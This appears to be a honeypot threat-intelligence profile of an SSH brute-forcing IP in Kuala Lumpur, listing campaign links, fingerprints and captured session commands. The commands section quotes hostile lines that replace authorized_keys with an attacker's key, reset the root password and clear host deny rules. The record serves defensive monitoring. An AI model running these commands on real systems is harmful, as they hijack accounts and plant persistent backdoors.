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59.153.151.174
TAGGED SUSPICIOUS how we decide →
Why: Our sensors observed credential harvester sessions · certainty: inferred
Assessment
SSH password brute-forcer
- Logged in with 5 different credentials across 7 logins.
- Downloaded 5 files and ran 29 commands on the host.
- Runs the same SSH client fingerprint (HASSH) as 1,257 other IPs.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇲🇾 MY / Kuala Lumpur
ASN
AS55720 · Gigabit Hosting Sdn Bhd
Cloud Provider
—
Total Events
152
Above average by volume
Agent Count
1
First / Last Seen
2026-10-25 20:11 — 2026-10-25 20:43
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
Subnet 59.153.151.0/24
SUBNET
Active
high
🇲🇾 MY
4 IPs
223 events
ssh:bruteforcessh:connectionssh:malware
2026-10-20 — ongoing · 4 IPs from the same /24 subnet (59.153.151.0/24) were observed attacking our sensors within the same time window. …
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1258 IPs, 87 countries)
HASSH
Active
high
🇺🇸 US
1258 IPs
1306540 events
ssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:bruteforcetelnet:intrusiontelnet:malware
2026-02-25 — ongoing · 1258 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Oracle Corporation (AS31898). Geographic and …
Session Forensics
Sessions
14 (7 with login)
Avg Depth Score
0.49
Commands Executed
29
Files Downloaded
5
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:rE8ORa7LxX8y"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
1 SSH client banner · 1 HASSH fingerprint
HASSH
SSH Client
Evidence Timeline
Malware Dropper
3bf61098332a
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:rE8ORa7LxX8y"|chpasswd|bash
Malware Dropper
6e97e2b44d06
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
c8e0881146aa
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
a485846a2e28
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
52813927d91c
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
c0b4d0545953
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
45bf1e5b5884
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…